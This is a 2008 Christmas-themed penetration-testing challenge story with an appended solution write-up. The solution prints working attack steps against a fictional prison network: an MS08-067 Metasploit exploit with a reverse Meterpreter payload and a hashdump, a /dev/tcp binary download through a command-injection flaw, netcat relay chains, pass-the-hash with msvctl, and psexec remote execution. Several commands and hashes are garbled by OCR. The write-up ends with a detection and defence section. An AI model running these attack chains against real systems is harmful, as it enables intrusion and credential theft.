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Santa Claus is Hacking to Town

By Ed Skoudis

WORLD NEWS

Today, children everywhere are making preparations for an event of world-
shaking significance: the annual visit of Santa Claus. Informed sources
report legions of junior citizens are making monumental efforts not to cry
and not to pout. Meanwhile, e-mail messages by the thousands have been
flooding postal facilities at the North Pole.

Enter the postman, who runs the North Pole SMTP server. He begins to speak, spinning the following tale:

Well, hello there! My name is SkODO Kluger, or Sk0dO for short. Ohhhh.... I've got lots of e-mail messages for Santa
today. And every year, they're the same. Some ask for toys. But a lot ask questions. Like, take this one. I'll bet one
of you wrote it.

“Dear Santa, when did you first get interested in
penetration testing?”

Uh-huh. I thought so. And this one:

“My turn... Dear Santa, what was your first really elegant
hack?”

How about these?

“Dear Santa, how did you develop your love of computer
hacking tools?”

“What is your favorite sploit?”

“Which tools in your pen testing arsenal do you find most useful?”

Ok... hold on a minute. So, you want to know all about Santa and his hacks? The best place to start is at the
beginning. Now this was years and years ago, way back. In one of the Northern Countries, there was a small city
named Sombertown near the North Pole. There, the Kringles, a family of red-suit-wearing elves, were world renowned
as the First Tool Makers to the King. These jolly, diminutive coders wrote the foremost vulnerability assessment and
penetration testing tools ever, providing them to the King of Sombertown. He loved their finely crafted handiwork and
saw that their tools were distributed to all of the citizens in his dominion. Indeed, it was a golden age of tool
development and security research.




Unfortunately for the Kringles (and the King), a totalitarian group
known as the Burgermeisters staged a coup, deposing the King and
initiating their rule. They installed a new Mayor over Sombertown,
a mean old grouch of a fellow known as Burgermeister
Meisterburger.

“Herr Burgermeister, Herr Burgermeister!” said Grimsby, the euvil
Mayor’s henchman. “An evil hacker has exploited a server in our
fair town, all because hacking tools are freely distributed
throughout the land.”

The Burgermeister responded, “As I suspected... I hate hacker
tools! And hacker tools hate me. Either they are going, or I am
going. And I am certainly not going.” Rather than focus on
improving computer security within Sombertown, the Burgermeister
and Grimsby dealt with the problem by passing a new law, which
they called 202c, the Sombertown Anti-Hacking Tool Edict. This
brief law simply stated that, “Hacker tools are hereby declared
illegal, immoral, unlawful. And, anyone found with a hacker tool in
his possession will be placed under arrest and thrown in the dungeon.”

About twenty years earlier... the Kringles had adopted a foundling baby, whom they named Kris. They decided to raise
Kris themselves as a genuine Kringle, red suit and all. After the Burgermeister coup, the Kringles fell out of contact
with Sombertown as Kris grew up. They knew nothing about 202c or the Burgermeister, and continued writing new
tools and exploits, which began to pile up in their lab. When Kris reached adulthood, the Kringles decided that he was
the obvious choice to deliver the latest batch of hacker tools to the residents of Sombertown.

As Kris traveled to Sombertown with a sack full of tools and exploits for the kiddies, he met the Winter Warlock, an evil
old wizard who controlled the mountain between the North Pole and Sombertown using magic. The Warlock was evil
through and through. That is, he was until Kris gave him a copy of the latest version of Metasploit, which melted his
cold, malevolent heart, and turned him into a friendly chap. With his newfound warmness, however, the old Warlock’s
magic powers began to dissipate quickly.

Upon arriving in town, Kris set about distributing some of the Kringles’ latest tools
to children he saw in the main town square. Almost instantly, their teacher, a
beautiful woman named Jessica, intervened. “How dare you! Distributing hacker
tools? Don't you know about 202c? If the Burgermeister saw you, we’d all be in
great danger. Hacker tools are frivolous, impractical, unproductive, and...” As she
explained the law to Kris, he pulled a DVD with the latest version of Nmap from his
sack and handed it to her, showing her the man page on a terminal of the MacBook
Pro he carried with him. She exclaimed, “I remember running the Strobe port
scanner when I was a little girl. But, Nmap is so much more powerful and useful.
Well, maybe 202c is a silly law, after all.” Jessica broke into song, singing of the
joys of hacker tools while tacky 1970’s tie-dyed graphics swirled about her. From
that point forward, Jessica committed to helping Kris and the Kringles distribute
their tools.

Suddenly and unexpectedly, the Burgermeister, Grimsby, and several soldiers ambushed and arrested Kris, Jessica, and
the Winter Warlock in a raid that later became known as “Operation Christmas Crackdown.” As 202c specified, the new
inmates were placed in the Sombertown dungeon.

From inside their cell, the group peered through the prison bars. Twenty feet from their locked cell door, they could see
a Windows computer with a sign next to it, saying "Doorl: Fully Patched Windows Server Controlling Prison Door.” In
slightly smaller print, there was another sign with a reminder for the Jail Master: “"Run dooropen.exe to open prison
door using jailmaster account.” Hanging next to it was a tattered copy of a network diagram, showing the network
architecture of the prison itself.




doorl: Fully Patched webl: Linux Web Server

‘i"-'llldﬂ‘s‘fﬂ f}ﬂl“ﬁ.'ﬂr Ct‘lﬂtl‘ﬂllll‘lg \\?iﬂl '::‘U‘ﬂlﬂlﬂﬂd Illjt?ﬂtiﬂll
Pl’iSDﬂ DDU[' Furewall allows - o o
e connections only 3 11111*;':1'11'.11[1{}

Ean dooropen. exe to | -

open prison door using
Jailmaster account

between doorl and - Iptables blocks
web | machines, on all inbound
any port. All other Ts] except TCP 80

traffic blocked. I 1
e

Prison
Network

Jailmasterlaptop:
Unpatched Windows Box

Santa’s Laptop
in Dungeon Cell

Prison AP

Kris, Jessica, and the Warlock watched as the Jail Master logged into that system, but weren’t able to shoulder surf his
password, which seemed excessively long and cumbersome to type. However, listening carefully, they could hear the
Jail Master utter, “I'll just log in with my account name of jailmaster, and the same password I use to manage every
Windows system in this dungeon.” The Burgermeisters didn’t worry about keeping this stuff secret, because they
figured they were secure given that 202c outlawed hacking tools. The Jail Master ran a few commands and then logged
out of the system, walking away from the cells to eat some Sombertown gruel for lunch.

Using a technique borrowed from the Brady Bunch TV show, Kris, Jessica, and the Warlock tried using their boots to hit
the keyboard of the doorl machine. Their plan for typing by throwing their footware failed because the keyboard was
just too far away. Physical access to any boxes outside of their cell was simply impossible. Furthermore, they didn’t
know the password for the jailmaster account.

As he studied the network diagram, Kris thought out loud, “Perhaps we can hack our way out of here!” He fired up the
wireless client on his trusty Mac, and discovered the prison access point. He associated with it, and smiled as it gave
him an IP address. Kris tried to surf to the Internet, but quickly realized that he was on an isolated network. Using the
copy of Nmap he had given Jessica, he ran a ping sweep, identifying only two systems on the network he could reach: a
Windows client called jailmasterlaptop and a Linux web server named webl. He then ran a port scan, discovering that
he could access the NetBIOS and SMB ports of jailmasterlaptop and TCP port 80 on the web1l server.

On a whim, Kris ran the copy of Metasploit he had given to the Winter Warlock, using the MS08-067 exploit against the
Jailmaster’s laptop. He was delighted to see that he got shell access on the machine! However, when he tried to
connect from the jailmaster laptop to the doorl machine they could see in the network diagram, he was blocked. From
his shell on jailmasterlaptop, he ran the command: net accounts. Kris noted that the minimum password length for
accounts was set at 50 characters! Apparently, the Jail Master liked to type very long passwords.

Kris then turned his attention to the web1 server. Going through its various user input fields, he found one with a
command injection flaw. He could type any command into a form field of a web page, and the target server would run
the command and display its output in Kris” browser. He could even ping the doorl machine! Initially overjoyed, he




quickly realized this server wouldn’t give him the keys to the castle either. He could only run commands as the user
“apache,” a non-UID 0 account. Furthermore, iptables blocked all inbound connections to the machine, except inbound
port 80 for the web server itself and ICMP Echo Request messages. All outbound connections were allowed, though.
Kris soon realized that he could not reconfigure iptables from the limited privileges of the apache account.

Furthermore, the box was fully patched, without any chance of local privilege escalation. Things got even worse, as Kris
explored the machine’s file system only to find that Netcat was not included in this distribution, which appeared to be a
stripped down Fedora Linux machine.

With this understanding of their target network, the team took an inventory of the resources they had, which included:

* Kris Kringle’s laptop, a MacBook Pro running VMware Fusion with a Windows XP image and a Linux image.

* The latest version of Metasploit, which includes the MS08-067 exploit to compromise the jailmasterlaptop machine
with local SYSTEM privileges.

* The latest version of Nmap.

* A copy of Netcat compiled for Linux.

While this was certainly a useful small arsenal, the team fiddled around with it for several hours, unable to figure out a
hack to make it all work.

In desperation, Kris asked, “Mr. Warlock, what magic skills do you have
left?”

The Warlock responded, “Please, call me Winter. Alas, since I turned
good, my magical powers are rapidly waning. I have nothing but a few
meager magical leftovers here in my pockets... A short-circuited wand.
Useless. A dried-up magic potion... Powerless. A copy of psexec from
Microsoft Sysinternals. Hardly useful here. Oh, and a magic netbook
laptop that will let me download any one reasonably sized hacker tool
from the Internet. Just junk. It can’t dissolve prison walls.”

Jessica entered the conversation, and excitedly instructed, “Use that
magic laptop to get us a zero-day exploit to hack door1, the machine that
controls this prison door, Mr. Warlock.”

The old weakened magician responded, “Just refer to me as Winter,
please. Sorry, Jessica, but my laptop can magically grab only one tool
from the Internet, and it must exist on a publicly accessible website right now and be available for free. It can’t grab
some hypothetical program from a made-up URL to run some unknown zero-day attack.”

Kris thought hard and then asked the wizard, “Mr. Warlock, why don’t you conjure up an NT Rainbow table with
passwords up to 50 characters!”

Although still kindly, the old wizard was growing annoyed. “Darnit, please stop calling me ‘Mr. Warlock.” *Winter” will
suffice! My magic netbook can only grab one file from a public URL with a maximum size of 1 Megabyte. I can't
possibly download huge Rainbow tables.”

The team was stumped. If they couldn’t hack out of the dungeon, Sombertown would suffer forever under the hands of
the Burgermeisters. What’s more, Kris would never become Santa Claus delivering Christmas cheer far and wide.

You have to act! Help save Kris and the gang by answering the following questions:

1) What tool would you have the Winter Warlock download? Why?

2) Devise a step-by-step approach for gaining control of the doorl server so that Kris can execute the dooropen.exe
command with the privileges of the jailmaster account. Describe each tool you would use and how you would use it at
each step of your hack.

3) Briefly finish this tale by describing how the Burgermeisters could detect the tactics you described in your answer to
item 2, as well as how they could have defended against each step you described.

Oh, and one last thing. If you need more Christmas-themed hacker challenges to get you in the mood, feel free to
check out my previous challenges in this genre. I've written five of them so far, over the past six years:




- How the Grinch Hacked Christmas, 2002
- Rudolph’s XSS Christmas, 2003

- A Christmas (Hacking) Story, 2006
- Frosty the Snow Crash, 2007

- Santa Claus is Hacking to Town, 2008
Thanks for participating, dear readers. I hope you have a joyous and blessed holiday season!
--Ed.

Submit your answers to skillz1208@ethicalhacker.net with the subject line "Skillz Submission™ by December 31,
2008 for a chance to win an autographed copy of my book, Counter Hack Reloaded. The autograph will congratulate
you on your prowess in mastering this challenge! We'll choose three winners, as usual, one in each of the three
following categories:

- Best Technical Answer
- Best Creative Answer (that is also technically correct)

- Random Draw (Anyone can win, so send in a response, any response... it doesn't matter)




ANSWERS by Raul Siles

1) What tool would you have the Winter Warlock download? Why?

Once the team got blocked in their activities with the current arsenal, it was time to review the overall
plan of actions and select the hacker tool of choice to finish the puzzle. Kris, as a good Kringle, synonym
of a highly respected professional penetration tester by that time, started to draw up a well-thought and
elaborated plan.

Apart from the advanced technical proficiency, teamwork and documentation are crucial skills in
penetration testing to optimize the available resources and follow up actions. Jessica started to collect
and document all the data they had until the moment about the environment and the Jail Master
activities, while Kris was analyzing a few alternatives based on the well known constraints, and Winter
tested the magic netbook and its Internet connection; then, they put it all together. Using the network
diagram and the inventory of available resources, plus Jessica’s summary table with all the data
collected about the target systems, they started to build up their escape.

They analyzed all the information from the initial reconnaissance, scanning, and exploitation activities
inside out, starting with the main target system. The goal was to run the dooropen.exe command on
door1 as jailmaster. Considering it was unrealistic to obtain the Jail Master's password (due to its length
and complexity) to run the target command, that doorl was a fully patched Windows server and no 0-
day exploit was available (therefore server-based exploits were not an alternative), and that there were
no known clients running on the server (client-based exploits might have been another valid attack
option), they soon figured out that the most feasible option would be to try a pass-the-hash attack using
the jailmaster account. As the Jail Master uttered, the same username and password is used to manage
every Windows system in the dungeon. As Windows does not use salts to generate password hashes,
the same hash is always derived from the same password. Anyway, Kris learned the lesson, and from
that point on would always carry with him his huge precalculated Rainbow Tables.

The plan was to use Metasploit, specifically the MS08-067 exploit, to compromise the jailmasterlaptop
machine, in order to dump the hashes for all users, including jailmaster. Due to the firewalling constrains
on the prison network, doorl only allows connections from web1. Therefore the question was: what
free tool from a publicly accessible website, with a maximum size of 1 Megabyte, would have pass-the-
hash capabilities and allow the remote execution of commands on Windows?

Kris impulsively shouted: "Winexe! Winexe! Mr. Warlock, download winexe by Foofus from the
Internet". Kris started to explain Jessica that JoMo-kun from the Foofus hacking team developed some
pass-the-hash SAMBA patches for Linux [1], plus a pre-compiled version of winexe [2] (a tool to remotely
execute commands on Windows systems from Linux) with pass-the-hash capabilities [3].They could
upload winexe to the Linux web1 system and invoke the remote command on doorl from there.

Mr. Warlock muttered while typing on his netbook: "Call me 'Winter', simply 'Winter'. Grrrr...". He was
about to press the download button on the magic netbook when Kris shouted at him from the other
corner of the cell: "STOP! STOP! DON'T GET IT... YET". Just in a sudden, Kris remembered a very recent
penetration test where he couldn't download winexe because it was too large for the only data
connection he had at the time, an old 9600 bps analog modem. The file was more than 3 Megabytes in
size.



After several minutes looking for an alternative tool, Kris realized that he read about another tool similar
to winexe for Windows [4]. Kris didn’t remember the name, but fortunately enough, he had his
penetration testing notes and cookbooks from previous engagements on his laptop. A quick search
helped to find the tool name: msvctl [5] by Johannes Gumbel from the Truesec Security Team.

Following Kris advice, Winter proceed to download msvctl, distributed in a file called msvctl_0.3.zip,
72.367 bytes in size, with an MD5 checksum of “fef298bfc589971485e1e74708ee7fce”. The ZIP file
contains two files, msvctl.exe and msvctl.dll.

2) Devise a step-by-step approach for gaining control of the doorl server so that Kris can execute the
dooropen.exe command with the privileges of the jailmaster account. Describe each tool you would
use and how you would use it at each step of your hack.

Having the msvctl tool (from question 1) handy, Kris, Jessica, and Winter summarized the overall plan:
the goal is to run the msvctl tool to execute a pass-the-hash attack with the jailmaster privileges, and
then run psexec to remotely execute the dooropen.exe command on doorl, relaying the traffic through
web1l. The high level overview steps follows (a step-by-step approach, including tools details, is provided
afterwards):

1. Get the hashes for the jailmaster account from the jailmasterlaptop vulnerable system, using
Metasploit and the MS08-067 exploit.

2. Establish a relay on web1l in order to be able to get access to doorl, as this is the only
communication path allowed by the prison network firewall. The relay creation requires a few
extra steps:

2.1.Netcat was selected as the preferred option to run the relay due to its availability (for
Linux) and flexibility. The first step would be to upload netcat to web1 using the web-
based command injection flaw.

2.2.Unfortunately, web1 does not accept any inbound connections except ICMP echo
requests and TCP/80, where the web server is currently running. Therefore a server
relay is not an option on web1l. A nifty netcat setup would be required, in the form of a
client-to-client netcat relay.

2.3.Complement the previous step with an extra nifty netcat setup, in the form of a server-
to-server netcat relay, in order to allow the establishment of the communication path
between Kris” Windows VM, where msvctl and psexec would run, and the doorl system.
The traffic would pass through Kris’ Linux VM and web1. Indeed, it is required to
execute this step before the previous one.

3. Run msvctl on Kris’ Windows VM, using the jailmaster hash obtained on step 1, to execute the
pass-the-hash attack and get the jailmaster account capabilities on Windows.

4. Run psexec from Microsoft Sysinternals on Kris” Windows VM to remotely execute the
dooropen.exe command on doorl with the privileges of jailmaster provided by msvctl (step 3).

The plan was clear at this point, and the action started...

NOTE: To simplify and improve the readability of each step, assume DNS was working properly (locally
and in the prison network). E very reference to a system has been replaced by its hostname instead of
using its IP address. Additionally, every system prompt (or window) reflects the system hostname. Kris’
Windows and Linux VM’s are called Winnie and Linnie respectively.



(Step 1)

Kris run the latest stable version of Metasploit on Linnie, using the MS08-067 exploit against the
jailmasterlaptop, and launching a reverse Meterpreter payload (he loves it!). He got shell access on the
target machine with local SYSTEM privileges, and through the priv module and the hashdump
Meterpreter command, he grabbed the SAM database containing the password hashes (LM and NTLM)
for all users, including the jailmaster account.

[Linnie] # ./msfconsole

# # oAt A it G A A G A
o ##F # # t # # t# # t #
G # # A A t# # t #
# # # # HHEHHH #oHHHEE # # # # #
# # # # # # # # # # # # # #
# # oAt # # A A A E HHHE f #

[ msf v3.2-release

[ 304 exploits — 172 payloads
[ 20 encoders - 6 nops

[ 74 aux

+
|
|

msf >

msf > use exploit/windows/smb/ms08 067 _netapi

msf exploit (ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit (ms08_067_netapi) > set RHOST jailmasterlaptop

RHOST => jailmasterlaptop

msf exploit (ms08_067_netapi) > set LHOST linnie

LHOST => linnie

msf exploit (ms08_067_netapi) > exploit

Handler binding to LHOST linnie

Started reverse handler

Automatically detecting the target...

Fingerprint: Windows XP Service Pack 2 - lang:English

Selected Target: Windows XP SP2 English (NX)

Triggering the vulnerability...

Transmitting intermediate stager for over-sized stage... (191 bytes)
Sending stage (2650 bytes)

Sleeping before handling stage...

Uploading DLL (75787 bytes)...

Upload completed.

Meterpreter session 1 opened (linnie:4444 -> jailmasterlaptop:1050)

X% o X ok X 3k X X X % %

L e e e e e

meterpreter >

meterpreter > use priv

[-] The 'priv' extension has already been loaded.

meterpreter > hashdump
jailmaster:500:aad3b435b51404ecaad3b435b51404ee:9fbd5d7bf5172aeb3el1db70£00d44438: ::
Guest:501:aad3b435b51404eecaad3b435b51404ee:31d6cfe0d16ae931b73c59d7€0c089c0: ::
HelpAssistant:1000:43b1a4b604£292b3f04eb04acl18913b2:0ffadaal913£503£219e3a208d7falac::

meterpreter >




Kris closed the Meterpreter session. He quickly noticed that the LM hash for the jailmaster account was
the default one for a null password, “aad3b435b51404eeaad3b435b51404ee”, meaning the length of
the password was 15 characters or greater. Step 1 was done, as the jailmaster hash was obtained from
jailmasterlaptop.

(Step 2.1)

In order to run a netcat relay on web1 it was required to upload the Linux netcat binary to that system
using the web-based command injection flaw. The web1 server appeared to be a stripped down Fedora
Linux machine, so the team decided not to try any file transfer commands that most probably wouldn’t
be available, such as tftp, ftp, or scp. Instead, they resorted to specific Linux kernel networking
capabilities, through /dev/tcp, that tend to work very well on Red Hat, Fedora, and other Linux
distributions.

Kris made available a copy of the Linux netcat binary through Linnie on port TCP/80 (a little stealthy trick
to simulate a web server connection in case someone checks outbound traffic from web1) using netcat:

[Linnie] $ nc -1 -p 80 < /usr/bin/nc

Using the web-based command injection flaw, Kris launched a series of commands to initiate a
connection from web1 to Linnie on port TCP/80 and retrieve the Linux netcat binary. The file was copied
under /tmp, as a readable and executable file.

[webl] $ exec 6<>/dev/tcp/Linnie/80

[webl] $ cat <&6 >/tmp/nc

[webl] $ 1s -1 /tmp/nc

-rw-rw-r—— 1 apache apache 18596 2008-12-30 13:24 /tmp/nc
[webl] $ md5sum /tmp/nc

77e752183c698£f76£00c0de5d070314d /tmp/nc

[webl] $ chmod 500 /tmp/nc

[webl] $

Once the file transfer was completed, Kris closed the netcat instance running on Linnie. Step 2.1 was
done, as netcat was uploaded to web1l.

(Step 2.2 — execution of step 2.3 is required before completing step 2.2)

To sum up steps 2.2 and 2.3, the team designed a multi-netcat bidirectional relay scenario to redirect
the traffic generated by psexec on Winnie and execute the dooropen.exe command on doorl. The goal
was to invoke the command in Winnie using psexec (a Windows based tool), redirect the traffic through
Linnie using a server-to-server netcat relay (required due to the security constraints — more details
below), from where the traffic is redirected through web1 using a client-to-client netcat relay
(remember this is the only system with access to the target system), and finally, the traffic reaches
doorl, where the command is executed.

The multiple traffic filtering constraints on web1 (limiting most inbound connections), the fact that it is a
fully patched box where no local privilege escalation is possible, plus the limited execution capabilities




as a non-privileged account (apache), limit the server-based relay options, as iptables could not be
reconfigured or a new listener launched on a privileged port, like TCP/445. This forced the team to take
advantage of the fact that all outbound connections were allowed. To bypass these limitations on web1,
the team made use of a netcat setup known as a client-to-client netcat relay. In this setup, the system
acting as the relay initiates the connections with the two endpoints it relays traffic for, bypassing any
local inbound traffic filtering rules. Kris changed to the /tmp directory, and created a bidirectional client-
to-client netcat relay on Linux using a FIFO file (called backpipe) plus a standard pipe redirection.

webl
webl
webl] $ 1s -1 backpipe

[ $ cd /tmp

[

[
prw-rw-r—— 1 apache apache 0 2008-12-30 14:04 backpipe
[

[

[

[

]
] $ mknod backpipe p

webl] $

webl] $ /tmp/nc doorl 445 O<backpipe | /tmp/nc Linnie 80 1>backpipe &

1] 12916
webl] $

NOTE: Before running the last command, Kris needs to complete Step 2.3.

(Step 2.3)

The last command of step 2.2 won’t work as there is no server listening on Linnie yet. The other
connection to doorl will work as this Windows server is listening on port TCP/445. In order to offer the
server component on Linnie, a listening netcat server can be used. The purpose of the netcat instances
on Linnie is to relay the traffic coming from psexec to web1. However, two server netcat components
are required, because psexec needs to connect to a server, and the previous client-to-client netcat relay
running on web1 needs to connect to a server too. To provide the full communication path, the team
made use of a netcat setup known as a server-to-server netcat relay on Linnie. In this scenario, the
system acting as the relay launches two netcat listeners (or servers) and waits for the two endpoints to
initiate the connections. Kris changed to the /tmp directory in his local Linux VM, Linnie, and created a
bidirectional server-to-server netcat relay on Linux using a FIFO file (called backpipe) plus a standard
pipe redirection.

[Linnie] $ cd /tmp

[Linnie] $ mknod backpipe p

[Linnie] $ 1ls -1 backpipe

prw-r——r—— 1 user user 0 Dec 30 14:15 backpipe|

[Linnie] $ nc -1 -p 445 O<backpipe | nc -1 -p 80 1>backpipe

NOTE: Now that the appropriate server components are running, Kris can complete step 2.2.

[webl] $ /tmp/nc doorl 445 O<backpipe | /tmp/nc Linnie 80 1>backpipe &
[1] 12916

Once Kris launches the client-to-client netcat relay from step 2.2 (see command above), the following
actions take place:
e webl initiates a connection to doorl on port TCP/445, the Windows target system and port.



® This connection is linked (through a bidirectional relay) with a second connection initiated from
web1 to Linnie on port TCP/80.

e Linnie had a listener on port TCP/80 from step 2.3 to receive this second client connection.

e That listener links (through a bidirectional relay) to another local listener on port TCP/445. This
second listener emulates the SMB Windows services and capabilities required by psexec in order
to launch remote actions.

e At this point, any connection to port TCP/445 on Linnie will go through out all the relays and end
up on port TCP/445 on doorl. The responses will use the same path to travel from port TCP/445
on doorl down to port TCP/445 on Linnie.

The reason why Kris used the ampersand (&) to launch the client-to-client netcat relay in the
background is to be able to terminate the netcat processes later, as the web-based command injection
flaw does not provide an interactive shell session.

Steps 2.2 and 2.3 are done, as all the traffic redirection paths using relays are in place.

(Step 3)

In order to execute remote commands on a Windows box it is required to have valid credentials or the
privileges of a user with permission to execute the target command. In this scenario, this means Kris
needs to impersonate the jailmaster account to run dooropen.exe on doorl.

The msvctl tool provides the capabilities to use a Windows password hash (or set of hashes, LM and
NTLM) and impersonate any account, effectively launching a pass-the-hash attack. Kris ran msvctl on
Winnie to get a command shell (cmd.exe) with the privileges of jailmaster. The msvctl tool simply needs
(all arguments in a single line) the hash dump previously obtained on step 1 from Metasploit (including
the account name, LM and NTLM hashes), the “run” argument indicating command execution, and the
local command to run (in this case “cmd”) with the new account privileges.

[Winnie]

C:\>msvctl.exe

jailmaster: :aad3b435b51404eeaad3b435b51404ee: 9fbd5d7b£f5172aeb3el1db70£00d4438
run cmd

info: running 'cmd '

C:\>

Once the execution completed, a new terminal window was opened in the local system running with the
privileges of the jailmaster account.

(Step 4)

All commands executed on the new terminal window will use the jailmaster account privileges. Kris
invoked the psexec tool from Microsoft Sysinternals in order to remotely execute the dooropen.exe
command (without arguments) on doorl with the privileges of jailmaster. The target system from the
psexec perspective is Linnie. Psexec will establish a TCP connection to Linnie on port TCP/445 that will
be auto magically redirected through the netcat relay chain previously setup to port TCP/445 on doorl.




“
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The psexec option was not used so that the execution is as stealthier as possible, just in case the
dooropen.exe command generates any kind of interaction with the desktop on doorl. This way, no
matter if the command makes use of graphical features, its execution will only generate a new process
(visible on the Windows Task Manager). The psexec “-d” option was included not to wait for the
command to terminate (non-interactive mode). Depending on the nature of dooropen.exe, it might be
interesting to run psexec without “-d” to interactively get the text-based output from the command.

[Winnie - From within the terminal window launched by msvctl]

C:\>psexec.exe —-d \\Linnie dooropen.exe

PskExec v1.94 - Execute processes remotely
Copyright (C) 2001-2008 Mark Russinovich
Sysinternals - www.sysinternals.com

dooropen.exe started on Linnie with process ID 2909.

C:\>

The command window prompt returned back and... the locked cell door started to open! Before running
away with all their belongings, Kris run his last command on the web1 system, trying to hide part of their
activities by killing the netcat instances previously launched:

[webl] $ killall /tmp/nc

While escaping from prison, the whole team started their custom hacking dance, a mandatory step on
every successful penetration testing hack, while singing:

Jingle bells, jingle bells
Jingle all the way
Oh, what fun it is to hack
In a dungeon, from a cell... ©

It seems Kris would become Santa Claus delivering Christmas cheer far and wide :)

3) Briefly finish this tale by describing how the Burgermeisters could detect the tactics you described
in your answer to item 2, as well as how they could have defended against each step you described.

Instead of focusing their anti-hacking efforts on the 202c law, the Burgermeisters could proactively have
requested the Kringles a penetration test on the Sombertown dungeon environment. As a result, they
would have identified most, if not all, the vulnerabilities and flaws pinpointed throughout this challenge,
complemented with a thorough report detailing the recommended detection and defense
countermeasures to mitigate or eliminate each weakness. A summary of the most relevant
recommendations (as each of them could expand a few pages) is described in the following paragraphs.




The Burgermeisters could have mitigated part of the attacks, in particular the social engineering
component, by removing the signs that were visible from untrusted areas, like the dungeon cell. These
included sensitive information, such as hostnames (door1), OS (Windows Server), commands
(dooropen.exe), usernames (jailmaster), and even the valued network diagram.

Additionally, it is highly recommended to carry out sensitive operations from private locations and
manage sensitive information accordingly. Having sensitive computers in locations where all activities
can be observed from untrusted locations, such as an administrator typing a long and cumbersome
password or uttering secret details about the current account management practices, is not
recommended. User awareness, and specifically administrator awareness, is a key point in today
information security programs.

The security of the environment shouldn’t be based just on legal artifacts, such as the 202c law - the
Sombertown Anti-Hacking tool Edict, as the Burgermeisters thought, because evil attackers do not
follow the law.

Starting with physical security, how our friends Kris, Jessica, and the Warlock were allowed to keep their
arsenal (Kris’ laptop, all software tools, the magic netbook, etc) inside the dungeon cell facilities? Before
imprison anyone, the Burgermeisters must frisk the suspects and seize all their belongings.

From a networking perspective, the security policy should block any kind of network access (wireless or
wired) to non-trusted locations, such as the dungeon cells.

The Burgermeisters need to monitor the activities taking place over the wireless network, identify the
existence of new wireless clients, and inspect the wireless traffic searching for attack signs; the
recommended option is the deployment of a wireless intrusion detection system (WIDS). Additionally,
they urgently need to improve the security of this network. They are currently running an open wireless
network, with no access constraints, and with DHCP capabilities enabled. A migration from the current
setup to a WPA2/Enterprise network would be the preferred option. Additionally, the security of the
network can be improved by segregating network portions. For example, there was no segmentation
and filtering capabilities between the wireless and wired networks. It is suggested to segment the
network and apply strong filtering mechanisms between network domains.

The Burgermeisters should increase their overall detection capabilities by collecting, centralizing, and
analyzing the logs generated by network devices and systems. This would have allowed to detect the
initial presence of a new wireless client (access point log), the DHCP request and offer (DHCP server log),
and subsequent activities (routers and switches logs, DNS servers logs, target servers logs, firewall logs,
etc).

Having complementary network intrusion detection systems (NIDS) on the wired dungeon network
would help to identify ping sweeps, port scans, and other reconnaissance, mapping, and exploitation
activities. All the nmap and Metasploit actions could potentially have been detected by a NIDS. Similarly,
a routine inspection of the firewall logs, on both the prison network firewall and the web1 iptables
firewall, would have alerted about the connection from web1 to doorl on port TCP/445 and the
connection between webl and Kris’ laptop respectively.



Besides that, most organizations still today suffer the ICMP syndrome, allowing ICMP traffic (echo
request and reply) everywhere with the excuse of being demanded by the network operation and
management teams to identify available systems and their state. Filtering this traffic helps to mitigate
how easily an attacker can identify resources through ping sweep activities. ICMP was also used for
more advanced reconnaissance, checking connectivity and filtering policies between web1 and door1. If
not inevitably required, ICMP usage should be limited to specific and isolated management networks.

Nowadays, keeping all systems patched and up to date is a crucial aspect, trying to eliminate well known
vulnerabilities that can be easily exploited through hacking tools like Metasploit, and specifically, those
vulnerabilities that allow remote command execution with the maximum privilege level, such as MS08-
067. An in-depth review of the current patching procedures is mandatory.

Currently, web applications are one of the main attack vectors due to its complexity, relevance, ubiquity,
and public nature. The Burgermeisters need to perform a thorough security assessment of all the web
applications in the environment, checking for common web-based vulnerabilities, such as command
injection, remote file inclusion (RFI), SQL and XPath injection, Cross-Site Scripting (XSS), Cross-Site
Request Forgery (CSRF), information disclosure, session management, etc. In this specific case,
command injection and inappropriate input and output filtering was the root cause of the web1 system
compromise. They need to work side by side with the web application development team and integrate
security in the web-apps software development life cycle (SDLC).

Using the previously mentioned NIDS , traffic or log inspection capabilities, it would have been trivial to
detect the activities associated to the weak outbound traffic filtering policy on web1. Why the web
server was establishing outbound connections to a system in the wireless network (when netcat was
uploaded to web1, or when the client-to-client netcat relay was setup)? Using very basic profiling rules
in a NIDS it can be very easy to detect anomalous behaviors from systems after a compromise.

Although allowed by the current filtering policy, should web1 establish SMB connections with door1?
The prison network firewall policy must be reviewed and a more stringent policy applied, restricting the
traffic between these two systems (currently all ports are allowed).

Unfortunately, the deployment of systems that do not make use of password salts to generate the
password hashes, like Windows, exposes the environment to hash-based attacks. It is highly
recommended, especially for high privilege accounts, to use different passwords for every system. As a
very basic example trying to simplify the password management tasks, if the current password is
considered robust or strong enough, the hostname of the system could be added at the end, as part of
the password. Using this simple technique, the password hashes on each Windows system would be
different, as the hostname varies, and the pass-the-hash attack described would have not worked.

In any penetration test, it is highly recommended not only to reflect all the weaknesses and mistakes
found, but also point out the proper countermeasures in place. On the positive side, the Burgermeisters
had an isolated network on the Sombertown dungeon, with no Internet access. This is a common
mistake nowadays by lots of organizations, where Internet access is like an inherited right for end users
on almost any environment and network.

Assuming the jailmasterlaptop requires NetBIOS and SMB capabilities, and obviously web1, the Linux
web server, requires offering web contents through port TCP/80, the Burgermeisters did a pretty decent
job minimizing the available services exposed to the network from each of these two systems.



The Windows password policy on the environment, with a minimum length of 50 characters, seems
robust enough to protect the accounts against standard password guessing attempts and password
cracking attacks.

It is important to remark the security posture of web1, presenting a good inbound traffic filtering policy
(except for ICMP), being fully patched, running the web server as a non-privileged user (apache), not
containing non-required software, such as netcat. Overall, a well hardened system. This must be
emphasized, as the only system weakness was that all outbound connections were allowed (not
considering the more relevant web-based vulnerability that allowed command execution), and this was
a key element used by Kris to elaborate the attack plan. From an attack perspective, a single
vulnerability is enough to compromise the security of the environment, while from a defensive
perspective, it is mandatory to close each and every vulnerability. There is a clear disadvantage.

Please, review the list above, identify how many of these very common weaknesses apply to your
organization, and act diligently to remove them or mitigate its impact!



DOCUMENT VERSION CHANGES

Version 1: (Dec 30, 2008)
Original document version submitted for the “Santa Claus is Hacking to Town” challenge.

Version 2.1: (Jan 4, 2009)
e Challenge wording added at the beginning of this document.
* Appendix A added: “Solving the Challenge without Downloading any Additional Tool”.
e New references added: [6] and [7] (for Appendix A).
* Typo fixed on last command of step 2.3, as someone needs to write into the backpipe ;)

[Linnie] $ nc -1 -p 445 O<backpipe | nc -1 -p 80 1>backpipe
